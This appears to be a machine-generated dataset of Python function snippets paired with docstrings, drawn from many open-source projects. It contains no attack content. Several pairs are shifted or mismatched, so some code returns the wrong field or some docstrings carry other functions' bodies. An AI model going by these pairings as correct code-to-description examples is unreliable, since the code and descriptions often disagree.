MecabTokenizer.Args:**do_lower_case**: (`optional`) boolean (default True)Whether to lower case the input.**never_split**: (`optional`) list of strKept for backward compatibility purposes.Now implemented directly at the base class level (see :func:`PreTrainedTokenizer.tokenize`)List of token not to split.**normalize_text**: (`optional`) boolean (default True)Whether to apply unicode normalization to text before tokenization.**mecab_option**: (`optional`) string passed to `MeCab.Tagger` constructor (default \"\")"} {"code": "def test_execfileUniversalNewlines(self):\n for lineEnding in u\"\\n\", u\"\\r\", u\"\\r\\n\":\n script = self.writeScript(u\"foo = 'okay'\" + lineEnding)\n globalNamespace = {\"foo\": None}\n execfile(script.path, globalNamespace)\n self.assertEqual(\"okay\", globalNamespace[\"foo\"])\n\n\n\nclass PY3Tests(unittest.SynchronousTestCase):\n \"\"\"\n", "nl": "L{execfile} reads in the specified file using universal newlines sothat scripts written on one platform will work on another."} {"code": "def fromPAF(cls, line):\n raw = line.strip().split('\\t')\n try:\n assert raw[4] in ('+', '-')\n return MiniRecord(qID=raw[0], qLength=int(raw[1]), qStart=int(raw[2]), qEnd=int(raw[3])+1,\n strand=raw[4],\n sID=raw[5], sLength=int(raw[6]), sStart=int(raw[7]), sEnd=int(raw[8])+1,\n nMatch=int(raw[9]), nBase=int(raw[10]))\n except:\n raise ValueError(\"String not recognized as a valid PAF record: {0}\".format(line))\n\n", "nl": "parsing Heng Li's Pairwise mapping format (PAF), Table 2 in paper"} {"code": "def fipa_dialogue_id(self) -> Optional[Tuple[str, ...]]:\n return cast(Optional[str], self.get(\"message\"))\n\n @property", "nl": "Get the 'fipa_dialogue_id' content from the message.return cast(Optional[Tuple[str, ...]], self.get(\"fipa_dialogue_id\"))@propertydef message(self) -> Optional[str]:Get the 'message' content from the message."} {"code": "def test_23_get_specific_ongoing_task_user_json(self):\n self.create()\n project1 = db.session.query(Project).get(1)\n project1_short_name = project1.short_name\n\n db.session.query(Task).filter(Task.project_id == 1).first()\n\n self.register()\n self.new_project()\n app2 = db.session.query(Project).get(2)\n self.new_task(app2.id)\n task2 = db.session.query(Task).filter(Task.project_id == 2).first()\n task2_id = task2.id\n self.signout()\n\n res = self.app.get('/project/%s/task/%s' % (project1_short_name, task2_id))\n assert \"Error\" in str(res.data), res.data\n msg = \"This task does not belong to %s\" % project1_short_name\n assert msg in str(res.data), res.data\n\n @with_context\n @patch('pybossa.view.projects.uploader.upload_file', return_value=True)", "nl": "Test WEB get specific ongoing task_id for a project works as an userself.create()self.delete_task_runs()self.register()self.signin()project = db.session.query(Project).first()task = db.session.query(Task).filter(Project.id == project.id).first()res = self.app_get_json('project/%s/task/%s' % (project.short_name, task.id))data = json.loads(res.data)err_msg = 'field missing'assert 'owner' in str(data), err_msgassert 'project' in str(data), err_msgassert 'template' in str(data), err_msgassert 'title' in str(data), err_msgerr_msg = 'wrong field value'assert data['template'] == '/projects/presenter.html', err_msgassert 'Contribute' in data['title'], err_msgerr_msg = 'private field data exposed'assert 'api_key' not in data['owner'], err_msgassert 'email_addr' not in data['owner'], err_msgassert 'secret_key' not in data['project'], err_msgerr_msg = 'this field should not existing'assert 'flash' not in str(data), err_msgassert 'status' not in str(data), err_msg@with_context@patch('pybossa.view.projects.ContributionsGuard')def test_get_specific_ongoing_task_marks_task_as_requested(self, guard):fake_guard_instance = mock_contributions_guard()guard.return_value = fake_guard_instanceself.create()self.register()project = db.session.query(Project).first()task = db.session.query(Task).filter(Project.id == project.id).first()res = self.app.get('project/%s/task/%s' % (project.short_name, task.id),follow_redirects=True)assert fake_guard_instance.stamp.called@with_context@patch('pybossa.view.projects.ContributionsGuard')def test_get_specific_ongoing_task_marks_task_as_requested_json(self, guard):fake_guard_instance = mock_contributions_guard()guard.return_value = fake_guard_instanceself.create()self.register()project = db.session.query(Project).first()task = db.session.query(Task).filter(Project.id == project.id).first()res = self.app_get_json('project/%s/task/%s' % (project.short_name, task.id))print(res.data)assert fake_guard_instance.stamp.called@with_context@patch('pybossa.view.projects.uploader.upload_file', return_value=True)def test_25_get_wrong_task_app(self, mock):Test WEB get wrong task.id for a project works"} {"code": "def stem(self, word: str) -> str:\n nv = self.stem_dict(word)\n return '{0},{1}'.format(nv['n'], nv['v'])\n", "nl": "Return the stem of a word according to the Schinke stemmer.Parameters----------word : strThe word to stemReturns-------strWord stemExamples-------->>> stmr = Schinke()>>> stmr.stem('atque')'atque,atque'>>> stmr.stem('census')'cens,censu'>>> stmr.stem('virum')'uir,uiru'>>> stmr.stem('populusque')'popul,populu'>>> stmr.stem('senatus')'senat,senatu'.. versionadded:: 0.3.0.. versionchanged:: 0.3.6Encapsulated in class.. versionchanged:: 0.6.0Made return a str with the noun then verb stem, comma-separated"} {"code": "def exit_code(self):\n return self._session.exit_code()\n", "nl": "Block until asynchronous background sandbox process ends, returning code"} {"code": "def _get_media(self):\n media = Media()\n for field in self.fields.values():\n media = media + field.widget.media\n return media\n media = property(_get_media)\n", "nl": "Provide a description of all media required to render the widgets on this form"} {"code": "def test_management_permissions(self):\n fac_member = Person.objects.get(userid='ggbaker')\n dept_admin = Person.objects.get(userid='dixon')\n dean_admin = Person.objects.get(userid='dzhao')\n\n fac_role = Role.objects.filter(person=fac_member)[0]\n handler = SalaryModificationEventHandler(CareerEvent(person=fac_member,\n unit=fac_role.unit))\n\n self.assertEqual(handler.VIEWABLE_BY, 'MEMB')\n self.assertEqual(handler.EDITABLE_BY, 'DEPT')\n self.assertEqual(handler.APPROVAL_BY, 'FAC')\n\n self.assertFalse(handler.can_edit(fac_member))\n self.assertTrue(handler.can_edit(dept_admin))\n self.assertTrue(handler.can_edit(dean_admin))\n\n self.assertFalse(handler.can_approve(fac_member))\n self.assertFalse(handler.can_approve(dept_admin))\n self.assertTrue(handler.can_approve(dean_admin))\n", "nl": "Check that permission methods are returning as expected"} {"code": "def test(self):\n", "nl": "Test that ps output is parseable for pid and ppids.ps_output = adb.get_ps_output()ps_output_lines = ps_output.splitlines()[1:] # Skip column line.for line in ps_output_lines:values = line.split()self.assertTrue(values[1].isdigit()) # PID.self.assertTrue(values[2].isdigit()) # PPIDclass WaitForDeviceTest(android_helpers.AndroidTest):Tests for wait_for_device."} {"code": "def platform(self) -> PlatformType:\n if self._version is None:\n raise Exception(\n \"Cannot access the game version until the level has been loaded.\"\n )\n return self._version\n\n @property", "nl": "Platform string the data is stored in (eg \"bedrock\" / \"java\" / ...)if self._platform is None:raise Exception(\"Cannot access the game platform until the level has been loaded.\")return self._platform@propertydef version(self) -> VersionNumberT:The version number for the given platform the data is stored in eg (1, 16, 2)"} {"code": "def group_perms_for_user(cls, instance, user, db_session=None):\n db_session = get_db_session(db_session, instance)\n perms = resource_permissions_for_users(\n cls.models_proxy,\n ANY_PERMISSION,\n resource_ids=[instance.resource_id],\n user_ids=[user.id],\n db_session=db_session,\n )\n perms = [p for p in perms if p.type == \"group\"]\n groups_dict = dict([(g.id, g) for g in user.groups])\n if instance.owner_group_id in groups_dict:\n perms.append(\n PermissionTuple(\n user,\n ALL_PERMISSIONS,\n \"group\",\n groups_dict.get(instance.owner_group_id),\n instance,\n True,\n True,\n )\n )\n return perms\n\n @classmethod", "nl": "returns permissions that given user has for this resourcethat are inherited from groups:param instance::param user::param db_session::return:"} {"code": "def add_data(self, data):\n self._data.update(data)\n\n for address in data:\n function = FIRST.Metadata.get_function(address)\n if function and function.id:\n self.applied_ids.add((address, function.id))\n", "nl": "Provides a way to add more data to the model.Args:data (:obj:`dict`): Data to be added to the model."} {"code": "def top_toi(self):\n return self.top_by_func(\n sort_func=lambda k: k['toi']['tot']['min']*60+k['toi']['tot']['sec']\n )", "nl": "Return home/away by player info for the players on each team who logged the most time on ice.:returns: dict of the form ``{ 'home/away': { by_player_dict } }``. See :py:func:`home_players` and :py:func:`away_players`"} {"code": "def process_row(self, i, row):\n\n row_num = i + 2\n note_id = row['note_id']\n\n file_basename = os.path.basename(os.path.normpath(self.file.name))\n\n key = \"notes_import-%s-%s\" % (file_basename, note_id)\n\n student_emplid = row['emplid']\n\n try:\n int(student_emplid)\n except ValueError:\n if self.verbose:\n error_msg = \"ERROR, emplid is not valid for recipient on row %i (emplid %s). Ignoring\" % \\\n (row_num, student_emplid)\n self.errors.append(error_msg)\n print(error_msg)\n return\n\n p = add_person(student_emplid, commit=self.commit)\n if not p:\n if self.verbose:\n error_msg = \"ERROR: Can't find recipient on row %i (emplid %s). Ignoring.\" % (row_num, student_emplid)\n self.errors.append(error_msg)\n print(error_msg)\n return\n\n advisor_emplid = row['creator_emplid']\n\n try:\n int(advisor_emplid)\n except ValueError:\n if self.verbose:\n error_msg = \"ERROR, emplid is not valid for advisor on row %i (emplid %s). Ignoring\" % \\\n (row_num, advisor_emplid)\n self.errors.append(error_msg)\n print(error_msg)\n return\n\n u = add_person(advisor_emplid, commit=self.commit)\n if not u:\n if self.verbose:\n error_msg = \"ERROR: Can't find advisor %s on row %i (emplid %s). Ignoring.\" % \\\n (advisor_emplid, row_num, student_emplid)\n self.errors.append(error_msg)\n print(error_msg)\n return\n\n advisor_userid = row['creator_computing_id']\n if u.userid != advisor_userid:\n if self.verbose:\n error_msg = \"ERROR: The advisor emplid and userid do not match the same person. Emplid %s, userid \" \\\n \"%s at row %i. Ignoring.\" % (advisor_emplid, advisor_userid, row_num)\n self.errors.append(error_msg)\n print(error_msg)\n return\n\n read_date = row['date_created']\n try:\n date_created = datetime.strptime(read_date, \"%Y-%m-%d %H:%M:%S\")\n except ValueError:\n try:\n date_created = dateparser.parse(read_date)\n except ValueError:\n if self.verbose:\n error_msg = \"ERROR: Cannot deduce the correct date %s at line %i. Ignoring.\" % (read_date, row_num)\n self.errors.append(error_msg)\n print(error_msg)\n return\n\n if date_created > timezone_today():\n if self.verbose:\n error_msg = \"ERROR: Creation date %s of note for %s at row %i is in the future. Ignoring. \" % \\\n (read_date, student_emplid, row_num)\n self.errors.append(error_msg)\n print(error_msg)\n return\n\n matching_notes = AdvisorNote.objects.filter(student=p, advisor=u, created_at=date_created, unit=self.unit)\n key_matching_notes = [n for n in matching_notes if 'import_key' in n.config and n.config['import_key'] == key]\n if key_matching_notes:\n if self.verbose:\n error_msg = \"Already imported note from this file with note_id %s on row %i, ignoring.\" % \\\n (note_id, row_num)\n print(error_msg)\n return\n\n if matching_notes.count() != len(key_matching_notes):\n if self.verbose:\n error_msg = \"Found matching note, but without matching key. This is fishy. Note_id %s on row %i. \"\\\n \"Are you sure this file hasn't been processed already using a different filename? \" \\\n \"Ignoring this note.\" % (note_id, row_num)\n self.errors.append(error_msg)\n print(error_msg)\n return\n\n original_text = row['notes']\n\n if not original_text or original_text == 'NULL':\n if self.verbose:\n error_msg = \"No actual note content (empty string or NULL) for %s at row %i. Ignoring.\" % \\\n (student_emplid, row_num)\n self.errors.append(error_msg)\n print(error_msg)\n return\n\n text = ensure_sanitary_markup(original_text, self.markup)\n n = AdvisorNote(student=p, advisor=u, created_at=date_created, unit=self.unit, text=text)\n n.config['import_key'] = key\n n.markup = self.markup\n if self.verbose:\n print(\"Creating note for %s from row %i...\" % (student_emplid, row_num), end='')\n if self.commit:\n n.save()\n self.saved += 1\n if self.verbose:\n print(\"Saved.\")\n else:\n if self.verbose:\n print(\"Not saved, dry-run only.\")\n return\n", "nl": "Actually process each individual row"} {"code": "def register_default_processors(cls, frontend_editing=None):", "nl": "Register our default request processors for the out-of-the-boxPage experience.Since FeinCMS 1.11 was removed from core."} {"code": "def _get_axis_data(self, bunch, dim, cluster_id=None, load_all=None):\n if dim in self.attributes:\n return self.attributes[dim](cluster_id, load_all=load_all)\n masks = bunch.get('masks', None)\n channel_id, pc = self._get_channel_and_pc(dim)\n if channel_id not in bunch.channel_ids:\n return Bunch(data=np.zeros((bunch.data.shape[0],)))\n c = list(bunch.channel_ids).index(channel_id)\n if masks is not None:\n masks = masks[:, c]\n return Bunch(data=self.feature_scaling * bunch.data[:, c, pc], masks=masks)\n", "nl": "Extract the points from the data on a given dimension.bunch is returned by the features() function.dim is the string specifying the dimensions to extract for the data."} {"code": "def fee_by_currency_id(self) -> Dict[str, int]:\n enforce(self.is_set(\"good_id_to_name\"), \"'good_id_to_name' content is not set.\")\n return cast(Dict[str, str], self.get(\"good_id_to_name\"))\n\n @property", "nl": "Get the 'fee_by_currency_id' content from the message.enforce(self.is_set(\"fee_by_currency_id\"),\"'fee_by_currency_id' content is not set.\",)return cast(Dict[str, int], self.get(\"fee_by_currency_id\"))@propertydef good_id_to_name(self) -> Dict[str, str]:Get the 'good_id_to_name' content from the message."} {"code": "def isbuiltin(object):\n return isinstance(object, types.BuiltinFunctionType)\n", "nl": "Return true if the object is a built-in function or method.Built-in functions and methods provide these attributes:__doc__ documentation string__name__ original name of this function or method__self__ instance to which a method is bound, or None"} {"code": "def sample(self, obs, available_actions):\n epsilon = np.random.random()\n if epsilon > self.exploration:\n actions = self.predict(obs, available_actions)\n else:\n available_actions = torch.tensor(\n available_actions, dtype=torch.float32)\n actions = torch.distributions.Categorical(\n available_actions).sample().long().cpu().detach().numpy()\n self.exploration = max(self.min_exploration,\n self.exploration - self.exploration_decay)\n return actions\n", "nl": " sample actions via epsilon-greedyArgs:obs (np.ndarray): (n_agents, obs_shape)available_actions (np.ndarray): (n_agents, n_actions)Returns:actions (np.ndarray): sampled actions of agents"} {"code": "def unquote_header_value(value, is_filename=False):\n if value and value[0] == value[-1] == '\"':\n value = value[1:-1]\n\n if not is_filename or value[:2] != \"\\\\\\\\\":\n return value.replace(\"\\\\\\\\\", \"\\\\\").replace('\\\\\"', '\"')\n return value\n\n", "nl": "rUnquotes a header value. (Reversal of :func:`quote_header_value`).This does not use the real unquoting but what browsers are actuallyusing for quoting... versionadded:: 0.5:param value: the header value to unquote."} {"code": "def data(self):\n data = dict()\n for attr in self.REQUIRED:\n if hasattr(self, attr):\n data[attr] = getattr(self, attr)\n data.update(doc_text=self.doc_text, corner_loc=self.corner_loc, font_size=self.font_size, show_name=self.show_name)\n return data\n\n\n\n\nclass Metadata(object):\n", "nl": "Returns node output data for writing.:returns: dictionary of node data for writing.:rtype: dict"} {"code": "def clean_up_tokenization(out_string):\n out_string = (\n out_string.replace(\" .\", \".\")\n .replace(\" ?\", \"?\")\n .replace(\" !\", \"!\")\n .replace(\" ,\", \",\")\n .replace(\" ' \", \"'\")\n .replace(\" n't\", \"n't\")\n .replace(\" 'm\", \"'m\")\n .replace(\" do not\", \" don't\")\n .replace(\" 's\", \"'s\")\n .replace(\" 've\", \"'ve\")\n .replace(\" 're\", \"'re\")\n )\n return out_string\n\n\nclass PreTrainedTokenizerFast(PreTrainedTokenizer):\n _tokenizer = None\n _decoder = None\n", "nl": " Clean up a list of simple English tokenization artifacts like spaces before punctuations and abreviated forms."} {"code": "def normalize(self):\n if not self.subfilters:\n return None\n\n new_filters = []\n for subfilter in self.subfilters:\n norm_filter = subfilter.normalize()\n if norm_filter is not None and norm_filter not in new_filters:\n new_filters.append(norm_filter)\n\n self.subfilters = new_filters\n\n size = len(self.subfilters)\n if size > 1 or self.operator == NOT:\n return self\n\n return self.subfilters[0].normalize()\n\n\nclass LDAPCriteria(object):\n \"\"\"\n\n __slots__ = (\"name\", \"value\", \"comparator\")\n", "nl": "Returns the first meaningful object in this filter."} {"code": "def from_untrusted(cls, value, lineno=None, environment=None):\n from .compiler import has_safe_repr\n if not has_safe_repr(value):\n raise Impossible()\n return cls(value, lineno=lineno, environment=environment)\n\n\nclass TemplateData(Literal):\n \"\"\"A constant template string.\"\"\"", "nl": "Return a const object if the value is representable asconstant value in the generated code, otherwise it will raisean `Impossible` exception."} {"code": "def is_master_proc(num_gpus=8):\n if torch.distributed.is_initialized():\n return dist.get_rank() % num_gpus == 0\n else:\n return True\n\n", "nl": "Determines if the current process is the master process."} {"code": "def prune_linear_layer(layer: nn.Linear, index: torch.LongTensor, dim: int = 0) -> nn.Linear:\n index = index.to(layer.weight.device)\n W = layer.weight.index_select(dim, index).clone().detach()\n if layer.bias is not None:\n if dim == 1:\n b = layer.bias.clone().detach()\n else:\n b = layer.bias[index].clone().detach()\n new_size = list(layer.weight.size())\n new_size[dim] = len(index)\n new_layer = nn.Linear(new_size[1], new_size[0], bias=layer.bias is not None).to(layer.weight.device)\n new_layer.weight.requires_grad = False\n new_layer.weight.copy_(W.contiguous())\n new_layer.weight.requires_grad = True\n if layer.bias is not None:\n new_layer.bias.requires_grad = False\n new_layer.bias.copy_(b.contiguous())\n new_layer.bias.requires_grad = True\n return new_layer\n\n", "nl": "Prune a linear layer to keep only entries in index.Used to remove heads.Args:layer (:obj:`torch.nn.Linear`): The layer to prune.index (:obj:`torch.LongTensor`): The indices to keep in the layer.dim (:obj:`int`, `optional`, defaults to 0): The dimension on which to keep the indices.Returns::obj:`torch.nn.Linear`: The pruned layer as a new layer with :obj:`requires_grad=True`."} {"code": "def is_abstract(self):\n\n return self.access_flags & ACC_ABSTRACT\n\n", "nl": "is this an abstract class"} {"code": "def batch(samples):\n samples = [utils.to_single_data(x) for x in samples]\n sample_order = [dd.get_sample_name(x) for x in samples]", "nl": "CWL: batch together per sample, joint and germline calls for ensemble combination.Sets up groups of same sample/batch variant calls for ensemble calling, aslong as we have more than one caller per group."} {"code": "def _wsgiStringToBytes(string): # Python 2.\n return string\n\nelse:", "nl": "Return C{string} as is; a WSGI string is a byte string in Python 2.@type string: C{str}/C{bytes}@rtype: C{str}/C{bytes}"} {"code": "def do_kill(self, line):\n\n if line is None or line == '':\n raise CliArgsException(\"Invalid argument passed to kill (%s)\" % line)\n\n self.lr_session.kill_process(line)", "nl": "Command: killDescription:Kill a process on the sensorArgs:kill "} {"code": "def get_terminal_output(self):\n\n return self._saved_terminal_output\n\n\nclass CGMSEngine(Engine):\n \"\"\"Engine to mimic CGMS behaviour.\n\n flag_crop_finish = False\n flag_crop_delete = False\n", "nl": "Returns the terminal output variables have have been stored during the simulation."} {"code": "def fprop(self, inputs: JTensor) -> JTensor:\n p = self.params\n outputs = inputs\n\n for i in range(len(self.body)):\n outputs = self.body[i].fprop(outputs)\n\n if not self._in_out_same_shape:\n inputs = self.shortcut.fprop(inputs)\n\n if p.residual_droppath_prob:\n outputs = self.residual_droppath.fprop(inputs, outputs)\n else:\n outputs += inputs\n\n outputs = self.postact.fprop(outputs)\n return outputs\n\n\nclass ResNet(base_layer.BaseLayer):", "nl": "Forward propagation of a ResNetBlock.Args:inputs: A `.JTensor` as inputs of [B, H, W, D_in] also commonly known asNHWC format.Returns:A `.JTensor` as outputs of shape [B, H', W', D_out]."} {"code": "def create_session(config_dict: dict = None, force_as_default: bool = False) -> tf.Session:\n\n Equivalent to the following, but more efficient and does not bloat the tf graph:\n tf.variables_initializer(tf.report_uninitialized_variables()).run()\n \"\"\"", "nl": "Create tf.Session based on config dict.# Setup TensorFlow config proto.cfg = _sanitize_tf_config(config_dict)config_proto = tf.ConfigProto(allow_soft_placement=True)for key, value in cfg.items():fields = key.split(\".\")if fields[0] not in [\"rnd\", \"env\"]:obj = config_protofor field in fields[:-1]:obj = getattr(obj, field)setattr(obj, fields[-1], value)# Create session.session = tf.Session(config=config_proto)if force_as_default:# pylint: disable=protected-accesssession._default_session = session.as_default()session._default_session.enforce_nesting = Falsesession._default_session.__enter__() # pylint: disable=no-memberreturn sessiondef init_uninitialized_vars(target_vars: List[tf.Variable] = None) -> None:Initialize all tf.Variables that have not already been initialized."} {"code": "def test_non_batch(self):\n uid = uuid4()\n tmp = TestTimestampModel.create(id=uid, count=1)\n\n TestTimestampModel.get(id=uid).should.be.ok\n\n tmp.timestamp(timedelta(seconds=5)).delete()\n\n with self.assertRaises(TestTimestampModel.DoesNotExist):\n TestTimestampModel.get(id=uid)\n\n tmp = TestTimestampModel.create(id=uid, count=1)\n\n with self.assertRaises(TestTimestampModel.DoesNotExist):\n TestTimestampModel.get(id=uid)\n\n tmp.timestamp(timedelta(seconds=5))\n tmp._timestamp.should.be.ok\n\n tmp.save()\n tmp._timestamp.shouldnt.be.ok\n\n tmp.timestamp(timedelta(seconds=5))\n tmp.update()\n tmp._timestamp.shouldnt.be.ok\n", "nl": "we don't expect the model to come back at the end because the deletion timestamp should be in the future"} {"code": "def scaling(self):\n if 'Control' not in e.modifiers:\n return\n b = e.button\n (channel_idx, cluster_rel), _ = self.canvas.grid.box_map(e.pos)\n cluster_id = self.all_cluster_ids[cluster_rel]\n logger.debug(\"Click on cluster %d with button %s.\", cluster_id, b)\n if 'Shift' in e.modifiers:\n emit('select_more', self, [cluster_id])\n else:\n emit('request_select', self, [cluster_id])", "nl": "Return the grid scaling.return self._scaling@scaling.setterdef scaling(self, value):self._scaling = value# Interactivity# -------------------------------------------------------------------------def on_mouse_click(self, e):Select a cluster by clicking on its template waveform."} {"code": "def fix_content_type(value, default=None):\n e.g.\n split(\"MULTIPART/MIXED;boundary=hal_9000\")\n becomes:\n [\"multipart/mixed\", \"boundary=hal_9000\"]\n \"\"\"", "nl": "Content-Type value may be badly brokenif not value:return default or ('text', 'plain')values = value.lower().split('/')if len(values) >= 2:return values[:2]elif len(values) == 1:if values[0] == 'text':return 'text', 'plain'elif values[0] == 'html':return 'text', 'html'return 'application', 'octet-stream'def split(header):Splits value part and parameters part,"} {"code": "def location_accuracy(self):\n if self.id in self.coordinator.data:\n return self.coordinator.data[self.id][\"position\"][0][\"radius\"]", "nl": "Return the location accuracy of the device.Value in meters."} {"code": "def get_host(self, host_name, backend=None):\n backend = self.get_backend(backend)\n return backend.get_service(host_name, service_description)\n", "nl": " Same as Livestatus.get_host() backend = self.get_backend(backend)return backend.get_host(host_name)def get_service(self, host_name, service_description, backend=None): Same as Livestatus.get_service() "} {"code": "def _should_display(self):\n return self.next_update is None or datetime.now() >= self.next_update\n", "nl": "Returns a value indicating whether the stats should be displayed.:return: True if the stats should be displayed; otherwise, False.:rtype: bool"} {"code": "def step(self, action): # get\n self.actions.append(action)\n assert self.action_space.contains(action), \"%r (%s) invalid\" % (\n action,\n type(action),\n )\n if action == 0:\n return self.get_obs(self.noop_reward, True, False)\n\n if not (self.action_count.get(action, 0) + 1 == 1):\n return self.get_obs(self.error_reward, False, True)\n\n request = schedule_pb2.ScheduleStepRequest()\n request.op.map_code = action\n response = stuball.step(request)\n\n if response.exec_timeout and response.exec_error:\n return self.get_obs(self.timeout_error_reward, True, True)\n\n if response.exec_error:\n return self.get_obs(self.error_reward, False, True)\n\n self.get_map(request)\n\n return self.get_obs(self.get_reward(action), False, False)\n", "nl": "Take a step.:param action: An action, or a sequence of actions. When multipleactions are provided the observation and reward are returned afterrunning all of the actions.:return: A tuple of observation, reward, done, and info. Observation andreward are None if default observation/reward is not set. If done isTrue, observation and reward may also be None (e.g. because theservice failed)."} {"code": "def relpath(path, start=os.path.curdir):\nUsage: discover.py [options]\n\nOptions:\n -v, --verbose Verbose output", "nl": "Return a relative version of a pathif not path:raise ValueError(\"no path specified\")start_list = os.path.abspath(start).split(os.path.sep)path_list = os.path.abspath(path).split(os.path.sep)# Work out how much of the filepath is shared by start and path.i = len(os.path.commonprefix([start_list, path_list]))rel_list = [os.path.pardir] * (len(start_list)-i) + path_list[i:]if not rel_list:return os.path.curdirreturn os.path.join(*rel_list)else:from os.path import relpath#############################################USAGE = \\"} {"code": "def addsitedir(sitedir, known_paths=None):\n if known_paths is None:\n known_paths = _init_pathinfo()\n reset = True\n else:\n reset = False\n sitedir, sitedircase = makepath(sitedir)\n if not sitedircase in known_paths:\n sys.path.append(sitedir)\n known_paths.add(sitedircase)\n try:\n names = os.listdir(sitedir)\n except OSError:\n return\n names = [name for name in names if name.endswith(\".pth\")]\n for name in sorted(names):\n addpackage(sitedir, name, known_paths)\n if reset:\n known_paths = None\n return known_paths\n\n", "nl": "Add 'sitedir' argument to sys.path if missing and handle .pth files in'sitedir'"} {"code": "def resnext101_32x8d(pretrained=False, progress=True, **kwargs):\n kwargs['groups'] = 32\n kwargs['width_per_group'] = 8\n return _resnet('resnext101_32x8d', Bottleneck, [3, 4, 23, 3],\n pretrained, progress, **kwargs)\n\n", "nl": "rResNeXt-101 32x8d model from`\"Aggregated Residual Transformation for Deep Neural Networks\" `_Args:pretrained (bool): If True, returns a model pre-trained on ImageNetprogress (bool): If True, displays a progress bar of the download to stderr"} {"code": "def system():\n return uname()[0]\n", "nl": " Returns the system/OS name, e.g. 'Linux', 'Windows' or 'Java'.An empty string is returned if the value cannot be determined."} {"code": "def ape(y, p):\n\n assert np.abs(y) > EPS\n return np.abs(1 - p / y)\n\n", "nl": "Absolute Percentage Error (APE).Args:y (float): targetp (float): predictionReturns:e (float): APE"} {"code": "def get_dev_examples(self, data_dir):\n raise NotImplementedError()\n\n @classmethod", "nl": "Gets a collection of `InputExample`s for the dev set.raise NotImplementedError()def get_labels(self):Gets the list of labels for this data set."} {"code": "def test__init__(self):\n assert self.task.proxy_env == self.task._proxy_env\n assert self.task.proxy_env_queue == self.task._proxy_env.queue\n", "nl": "Test the __init__ method of the GymTask class.assert self.task.nb_steps == self.nb_stepsassert self.task.is_rl_agent_training is Falsedef test_properties(self):Test the properties of the GymTask class."} {"code": "def api_create_user():\n \"\"\"", "nl": "API enpoint to create a userdata = request.jsonerrs, res = self.user_manager.create_user_as_admin(email=data['email'],username=data['username'],role=data['role'],passwd=data['password'],passwd2=data['password'],name=data.get('full_name', ''))# validateif errs:return {'errors': errs}user, first_coll = resreturn {'user': user.name, 'first_coll': first_coll.name if first_coll else ''}@self.app.put('/api/v1/admin/user/')@self.admin_viewdef api_update_user(username):API enpoint to update user info (full access)"} {"code": "def get_archive_files(self):\n return self.archive_files", "nl": "Return the list of archive files created when the commandwas run, or None if the command hasn't run yet."} {"code": "def _get_series_result_type(result, objs=None):\n from pandas import SparseSeries, SparseDataFrame, DataFrame\n\n if isinstance(result, dict):\n if all(isinstance(c, (SparseSeries, SparseDataFrame))\n for c in compat.itervalues(result)):\n return SparseDataFrame\n else:\n return DataFrame\n\n if result._block.is_sparse:\n return SparseSeries\n else:\n return objs[0]._constructor\n\n", "nl": "return appropriate class of Series concatinput is either dict or array-like"} {"code": "def cluster_renew_delegation_token(self, delegation_token):\n path = '/ws/v1/cluster/delegation-token/expiration'\n\n return self.request(path, 'POST', headers={\n \"Hadoop-YARN-RM-Delegation-Token\": delegation_token\n })\n", "nl": "(This feature is currently in the alpha stage and may change in thefuture)API to renew delegation token.All delegation token requests must be carried out on a Kerberosauthenticated connection(using SPNEGO). Carrying out operations on a non-kerberosconnection will result in a FORBIDDEN response. In case of renewing a token, onlythe renewer specified when creating the token can renew the token. Other users(includingthe owner) are forbidden from renewing tokens.:param str delegation_token: Delegation token:returns: API response object with JSON data:rtype: :py:class:`yarn_api_client.base.Response`"} {"code": "def _get_revision_vars_url_format(job_type, platform_id=None):\n if job_type is None:\n return local_config.ProjectConfig().get('env.REVISION_VARS_URL')\n", "nl": "Return REVISION_VARS_URL from job environment if available. Otherwise,default to one set in project.yaml. For custom binary jobs, this is notapplicable."} {"code": "def matmul_transpose(a, b):\n assert a.shape[-1] == b.shape[-1], (a.shape, b.shape)\n if len(a.shape) != 2:\n aa = a.reshape((-1, a.shape[-1]))\n cc = matmul_transpose(aa, b)\n return cc.reshape(a.shape[:-1]+(-1,))\n assert len(a.shape) == 2 and len(b.shape) == 2\n\n shape = list(a.shape)[:-1] + list(b.shape)\n with jt.flag_scope(amp_reg = jt.flags.amp_reg | 4):\n a = a.broadcast(shape, [len(shape)-2])\n b = b.broadcast(shape)\n return (a*b).sum(len(shape)-1)\n\n", "nl": "returns a * b^T"} {"code": "def __init__(self, master=None, **kw):\n Widget.__init__(self, master, \"ttk::scale\", kw)\n\n", "nl": "Construct a Ttk Scale with parent master.STANDARD OPTIONSclass, cursor, style, takefocusWIDGET-SPECIFIC OPTIONScommand, from, length, orient, to, value, variable"} {"code": "def transform(self, objs: List[Any]) -> Any:\n cached_transform_one = self.memory.cache(_transform_one)\n\n if self.verbose:\n objs = tqdm(objs)\n\n if self.n_jobs == 0:\n features = [cached_transform_one(self, obj) for obj in objs]\n else:\n features = Parallel(n_jobs=self.n_jobs)(delayed(cached_transform_one)(self, obj) for obj in objs)\n\n multi_output = self._is_multi_output()\n if not multi_output:\n features = [features]\n batched_features = [self.feature_batch(i) for i in list(*zip(features))]\n return batched_features if multi_output else batched_features[0]\n", "nl": "Transform a list of objs. If the return data is DataFrame,use df.xs(index, level='input_index') to get the result for the i-th object.Args:objs (list): A list of objects.Returns:One or a list of pandas data frame/numpy ndarray"} {"code": "def evaluate_detections(self, all_boxes, output_dir=None):\n raise NotImplementedError\n", "nl": "all_boxes is a list of length number-of-classes.Each list element is a list of length number-of-images.Each of those list elements is either an empty list []or a numpy array of detection.all_boxes[class][image] = [] or np.array of shape #dets x 5"} {"code": "def fetch_for_login(self, username_or_email):", "nl": "Fetch a user by data provided in the login field.This searches for a user by username in the default authority, or byemail in the default authority if `username_or_email` contains an \"@\"character.When fetching by an email address we use a case-insensitive query.:returns: A user object if a user was found, None otherwise.:rtype: h.models.User or NoneType:raises UserNotActivated: When the user is not activated."} {"code": "def download(self, spec, tmpdir):\n if not isinstance(spec, Requirement):\n scheme = URL_SCHEME(spec)\n if scheme:\n found = self._download_url(scheme.group(1), spec, tmpdir)\n base, fragment = egg_info_for_url(spec)\n if base.endswith('.py'):\n found = self.gen_setup(found, fragment, tmpdir)\n return found\n elif os.path.exists(spec):\n return spec\n else:\n spec = parse_requirement_arg(spec)\n return getattr(self.fetch_distribution(spec, tmpdir), 'location', None)\n", "nl": "Locate and/or download `spec` to `tmpdir`, returning a local path`spec` may be a ``Requirement`` object, or a string containing a URL,an existing local filename, or a project/version requirement spec(i.e. the string form of a ``Requirement`` object). If it is the URLof a .py file with an unambiguous ``#egg=name-version`` tag (i.e., onethat escapes ``-`` as ``_`` throughout), a trivial 